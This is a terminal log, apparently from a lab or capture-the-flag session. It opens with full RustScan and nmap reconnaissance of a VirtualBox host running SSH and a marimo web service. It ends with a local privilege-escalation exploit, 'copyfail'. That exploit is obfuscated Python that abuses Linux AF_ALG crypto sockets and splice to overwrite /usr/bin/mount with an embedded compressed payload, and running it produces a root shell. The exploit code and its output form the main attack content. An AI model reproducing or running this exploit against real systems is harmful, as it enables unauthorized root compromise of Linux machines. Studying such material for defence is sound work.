┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.100.20 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.20:22 Open 192.168.100.20:8080 ^[[2;5~[~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.20 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-07 15:12 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 15:12 Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE: Active NSE Script Threads: 1 (0 waiting) NSE Timing: About 0.00% done Completed NSE at 15:12, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 15:12 Completed NSE at 15:12, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 15:12 Completed NSE at 15:12, 0.00s elapsed Initiating ARP Ping Scan at 15:12 Scanning 192.168.100.20 [1 port] Completed ARP Ping Scan at 15:12, 0.03s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 15:12 Completed Parallel DNS resolution of 1 host. at 15:12, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 15:12 Scanning 192.168.100.20 [2 ports] Discovered open port 22/tcp on 192.168.100.20 Discovered open port 8080/tcp on 192.168.100.20 Completed SYN Stealth Scan at 15:12, 0.01s elapsed (2 total ports) Initiating Service scan at 15:12 Scanning 2 services on 192.168.100.20 Completed Service scan at 15:12, 6.03s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.100.20 NSE: Script scanning 192.168.100.20. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 15:12 Completed NSE at 15:12, 0.27s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 15:12 Completed NSE at 15:12, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 15:12 Completed NSE at 15:12, 0.00s elapsed Nmap scan report for 192.168.100.20 Host is up, received arp-response (0.00053s latency). Scanned at 2026-07-07 15:12:02 CST for 7s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0) 8080/tcp open http syn-ack ttl 64 Uvicorn | http-methods: |_ Supported Methods: HEAD GET POST |_http-favicon: Unknown favicon MD5: F63E6ADA910A49103BC1B7CDC2D3CF48 |_http-server-header: uvicorn | http-title: marimo |_Requested resource was http://192.168.100.20:8080/auth/login?next=http%3A%2F%2F192.168.100.20%3A8080%2F MAC Address: 08:00:27:92:1C:00 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=7/7%OT=22%CT=%CU=32473%PV=Y%DS=1%DC=D%G=N%M=080027%TM= OS:6A4CA6C9%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=Z%II=I%T OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5= OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S= OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R= OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N% OS:T=40%CD=S)
Uptime guess: 17.473 days (since Sat Jun 20 03:50:52 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.53 ms 192.168.100.20
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 15:12 Completed NSE at 15:12, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 15:12 Completed NSE at 15:12, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 15:12 Completed NSE at 15:12, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.38 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
comar@Marcopy:/tmp/aaa/ll-privesc-kit-main/01copyfail$ cat copyfail #!/usr/bin/env python3 import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/mount",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("mount")
1 2 3 4
comar@Marcopy:/tmp/aaa/ll-privesc-kit-main/01copyfail$ ./copyfail # id uid=0(root) gid=1000(comar) groups=1000(comar) #
